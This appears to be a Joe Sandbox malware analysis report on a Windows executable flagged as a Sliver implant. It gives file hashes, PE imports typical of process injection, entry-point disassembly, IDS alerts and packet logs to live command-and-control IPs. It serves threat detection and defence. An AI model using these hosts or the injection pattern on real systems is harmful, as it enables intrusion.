Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WOlxr4yjgF.exe renamed because original name is a hash value
Original Sample Name:	16e0780398a97e9861cba770d4f1353236070f7d52b08fda43dc518b2bd98742.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/0@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 92% Number of executed functions: 78 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target explorer.exe, PID 2580 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:47:00	API Interceptor	614x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51.158.71.131	zabardast-movie2024.mp3.exe	Get hash	malicious	Sliver	Browse
51.158.71.131	zabardast-movie2024.mp3.exe	Get hash	malicious	Sliver	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATGS-MMD-ASUS	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	32.225.225.156
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	33.125.183.47
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	33.117.173.192
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	48.10.23.227
	arm5.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	56.3.220.202
	arm.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	32.81.241.213
	arm7.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	51.86.78.83
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	32.21.216.122
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	32.82.240.131
	1.elf	Get hash	malicious	Unknown	Browse	57.11.41.126
OnlineSASFR	bot.mips.elf	Get hash	malicious	Mirai	Browse	51.158.232.138
	https://antiphishing.vadesecure.com/v4?f=M2FwZHlGNnU1aUlkc09ZNMiasRwGBdZehRVCQSRcBe4&i=WjB4M1dJWGJJMnNGTHV5MsMuKUIodncDHGeRU4kVkuY&k=CXOq&r=Skk2OVhvdXl2cm1uOWJtRKZOD61t44mSShExmLHL82awntC61WSfAdSPd_A2w4Sr0ol-2lJuHE1y6ZnIh9tzeQ&s=c0986918e90c31f67e295092df95ad67b5167b30a053715360f0707a34067922&u=https%3A%2F%2Fgeomesure-my.sharepoint.com%2F%3Ao%3A%2Fg%2Fpersonal%2Fjeason_geomesure_fr%2FEjezfvLh_FRNp0BDRFgaob0B5QrN_MFtVHWEoF2b4R1bRw%3Fe%3DomoERY	Get hash	malicious	Unknown	Browse	163.172.240.109
	801.ps1	Get hash	malicious	AsyncRAT	Browse	163.172.125.253
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	51.159.4.50
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	151.115.178.130
	nlGOh9K5X5.exe	Get hash	malicious	Xmrig	Browse	51.15.193.130
	LfHJdrALlh.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	l64.elf	Get hash	malicious	Xmrig	Browse	51.158.204.249
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	163.172.240.109
	EHak.exe	Get hash	malicious	Unknown	Browse	62.210.124.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	credit.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	51.158.71.131
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	51.158.71.131
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.158.71.131
	https://ce4.ajax.a8b.co/get?redir=1&id=d4vCW7zizPl1mo0GYx0ELgo+CCIybH9/c4qC7CeWEuI=&uri=//the-western-fire-chiefs-association.jimdosite.com	Get hash	malicious	Unknown	Browse	51.158.71.131
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	51.158.71.131
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	51.158.71.131
	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	51.158.71.131
	http://escrowmedifllc.hostconstructionapp.com	Get hash	malicious	Unknown	Browse	51.158.71.131
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	51.158.71.131
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	51.158.71.131

File type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.077583039105423
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	WOlxr4yjgF.exe
File size:	1'191'424 bytes
MD5:	65f49e0bc3893c6e7cfd5a4a1da07b97
SHA1:	3a0a626e80caecbf404e0b0c8c760cb68a6600b8
SHA256:	16e0780398a97e9861cba770d4f1353236070f7d52b08fda43dc518b2bd98742
SHA512:	aa327f918d87bd43fbdcef001b1e2503b2aa364f645b2f9d8fc166a18a637387bd836cb87e5bc55a87a8122b64566b9f302bfec5b15a821ab2e709bb64ee0faf
SSDEEP:	24576:pZHHLagu/lxH1oqhg87geTIe6k0QPHVj:pZHHLRu/Paqhg87geTI4D
TLSH:	0E453903E695C5AAC45EC078978B9332FA32B88D4730B66B67E45B313E57B505F0EB09
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...].ag...............(.D...*.................@....................................{.....`... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1400014d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67618A5D [Tue Dec 17 14:27:41 2024 UTC]
TLS Callbacks:	0x40087f90, 0x1, 0x400c42f0, 0x1, 0x400c42c0, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	81a99261b2b4f1aaa87ba1b88e7555bc

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00110FA5h]
mov dword ptr [eax], 00000000h
call 00007F39F080E6AFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F39F08D16A4h
dec eax
cmp eax, 01h
sbb eax, eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F39F080E9E9h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc ecx
push edi
inc ecx
push esi
inc ecx
push ebp
inc ecx
push esp
push esi
push edi
push ebp
push ebx
dec eax
sub esp, 68h
dec eax
mov esi, edx
dec eax
mov ebx, ecx
xorps xmm0, xmm0
dec esp
lea esi, dword ptr [esp+40h]
inc ecx
movaps esi+10h, dqword ptr [xmm0]
inc ecx
movaps esi, dqword ptr [xmm0]
dec esp
lea edi, dword ptr [esp+28h]
dec esp
lea esp, dword ptr [esp+30h]
dec eax
lea ebp, dword ptr [000C5A98h]
inc ecx
mov eax, 00000020h
dec eax
mov ecx, ebx
dec esp
mov edx, esi
call 00007F39F088D61Ch
dec eax
mov edi, eax
dec ecx
mov ebp, edx
dec eax
mov dword ptr [esp+20h], eax
dec eax
mov dword ptr [esp+28h], edx
dec eax
test eax, eax
je 00007F39F080EA57h
dec esp
mov ecx, esp
dec esp
mov edx, ebp
call 00007F39F080EAAEh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x124000	0x1dc4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x113000	0x6954	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x128000	0x16ac	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1120c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x124758	0x600	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc42e8	0xc4400	e2fb7a96ec5b5194e4d6a141c8185048	False	0.5427883658439491	data	6.290662886810325	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xc6000	0x230	0x400	411dc39fcac222214efd8cf680537ce5	False	0.1181640625	data	0.8166323089327088	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc7000	0x4b590	0x4b600	9dc8b59c5d85627049f3db4a84e6227c	False	0.29429350642620233	data	4.511230414018382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x113000	0x6954	0x6a00	37d547302e707274b5323b418536099b	False	0.4600530660377358	data	6.080953215074095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x11a000	0x86f8	0x8800	d18aeb152a593f0736cccc3f248a2de0	False	0.2407513786764706	data	4.936321216304411	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x123000	0x2a0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x124000	0x1dc4	0x1e00	9006a09277349562f45956f28e492f82	False	0.29075520833333335	Sony PlayStation Audio	4.364799533367751	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x126000	0x68	0x200	13a2fa3ac4af110a71556e88f51dad0c	False	0.076171875	data	0.41055857183492983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x127000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x128000	0x16ac	0x1800	b2d96e799cebb85488d6832ba6a6171c	False	0.51318359375	data	5.337049780426458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
advapi32.dll	CopySid, GetLengthSid, GetTokenInformation, IsValidSid, OpenProcessToken, RegCloseKey, RegOpenKeyExW, RegQueryValueExW
crypt32.dll	CertAddCertificateContextToStore, CertCloseStore, CertDuplicateCertificateChain, CertDuplicateCertificateContext, CertDuplicateStore, CertEnumCertificatesInStore, CertFreeCertificateChain, CertFreeCertificateContext, CertGetCertificateChain, CertOpenStore, CertVerifyCertificateChainPolicy
kernel32.dll	AddVectoredExceptionHandler, CloseHandle, CreateFileMappingA, CreateFileW, CreateIoCompletionPort, CreateRemoteThread, CreateThread, CreateToolhelp32Snapshot, DuplicateHandle, FormatMessageW, GetConsoleMode, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, GetEnvironmentVariableW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetFinalPathNameByHandleW, GetFullPathNameW, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetProcessHeap, GetProcessIoCounters, GetProcessTimes, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemInfo, GetSystemTimePreciseAsFileTime, GetSystemTimes, GetTickCount64, HeapAlloc, HeapFree, HeapReAlloc, InitOnceBeginInitialize, InitOnceComplete, LoadLibraryExA, LocalFree, MapViewOfFile, Module32FirstW, Module32NextW, MultiByteToWideChar, OpenProcess, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, ReadProcessMemory, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetFileCompletionNotificationModes, SetHandleInformation, SetLastError, SetThreadStackGuarantee, SetUnhandledExceptionFilter, Sleep, SwitchToThread, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnmapViewOfFile, VirtualAllocEx, VirtualProtectEx, VirtualQueryEx, WaitForSingleObject, WriteConsoleW, WriteProcessMemory
ntdll.dll	NtCancelIoFileEx, NtCreateFile, NtDeviceIoControlFile, NtQueryInformationProcess, NtQuerySystemInformation, NtWriteFile, RtlGetVersion, RtlNtStatusToDosError
ole32.dll	CoUninitialize
oleaut32.dll	SysFreeString, SysStringLen
pdh.dll	PdhCloseQuery, PdhRemoveCounter
powrprof.dll	CallNtPowerInformation
psapi.dll	GetModuleFileNameExW
secur32.dll	AcceptSecurityContext, AcquireCredentialsHandleA, ApplyControlToken, DecryptMessage, DeleteSecurityContext, EncryptMessage, FreeContextBuffer, FreeCredentialsHandle, InitializeSecurityContextW, QueryContextAttributesW
shell32.dll	CommandLineToArgvW
ws2_32.dll	WSACleanup, WSAGetLastError, WSAIoctl, WSASend, WSASocketW, WSAStartup, bind, closesocket, connect, freeaddrinfo, getaddrinfo, getpeername, getsockname, getsockopt, ioctlsocket, recv, send, setsockopt, shutdown
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressAll, WakeByAddressSingle
bcryptprimitives.dll	ProcessPrng
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, InitializeCriticalSection, LeaveCriticalSection, RaiseException, RtlUnwindEx, VirtualProtect, VirtualQuery, __C_specific_handler
msvcrt.dll	__getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _commode, _fmode, _fpreset, _initterm, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcmp, memcpy, memmove, memset, signal, strlen, strncmp, vfprintf, wcslen

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T08:46:39.355802+0100	2852653	ETPRO MALWARE Sliver HTTP SessionInit Request	1	192.168.2.4	49737	51.44.82.197	443	TCP
2024-12-18T08:46:39.848423+0100	2852723	ETPRO MALWARE Sliver HTTP SessionInit Response	1	51.44.82.197	443	192.168.2.4	49737	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 08:46:07.391685009 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:07.391755104 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:07.391834974 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:07.403228998 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:07.403259039 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:08.787657022 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:08.787926912 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:08.791148901 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:08.791162968 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:08.791568041 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:08.842967987 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.041733980 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.087337971 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.446640968 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.446717978 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.446738958 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.446759939 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.446783066 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.446820021 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.446840048 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.500447035 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.522047043 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.522057056 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.522116899 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.522121906 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.522177935 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.522177935 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.641905069 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.641925097 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.641976118 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.642018080 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.675014019 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.675035000 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.675086975 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.699332952 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.699357033 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.699404955 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.722989082 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.722999096 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.723046064 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.723084927 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.823549032 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.823676109 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.841818094 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.842030048 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.863806009 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.863935947 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.879734039 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.879831076 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.889055967 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.889158964 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.898339033 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.898446083 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.910578012 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.910701036 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:09.919720888 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:09.919852972 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.013169050 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.013242006 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.024761915 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.024837971 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.032757044 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.032831907 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.040469885 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.040539980 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.047720909 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.047801971 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.056696892 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.056790113 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.063590050 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.063674927 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.070496082 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.070580959 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.078389883 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.078469038 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.085464001 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.085544109 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.094451904 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.094532967 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.101346016 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.101429939 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.119143009 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.119326115 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.134648085 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.134725094 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.202539921 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.202771902 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.207385063 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.207477093 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.212768078 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.212944031 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.217912912 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.217993021 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.224375963 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.224462986 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.229234934 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.229415894 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.233907938 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.234075069 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.240098953 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.240221977 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.244718075 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.244921923 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.249511957 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.249735117 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.254885912 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.255017042 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.257890940 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.257978916 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.260819912 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.260936022 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.264822006 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.264910936 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.267746925 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.267827988 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.288228035 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.288327932 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.291399956 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.291527987 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.394962072 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.395076036 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.398535013 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.398631096 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.401459932 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.401552916 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.404778004 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.404896021 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.407942057 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.408034086 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.410806894 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.410895109 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.413798094 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.413891077 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.416488886 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.416580915 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.420217037 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.420309067 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.422986984 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.423074961 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.426245928 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.426332951 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.429214954 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.429409981 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:10.431998968 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:10.432085991 CET	49730	443	192.168.2.4	51.158.71.131
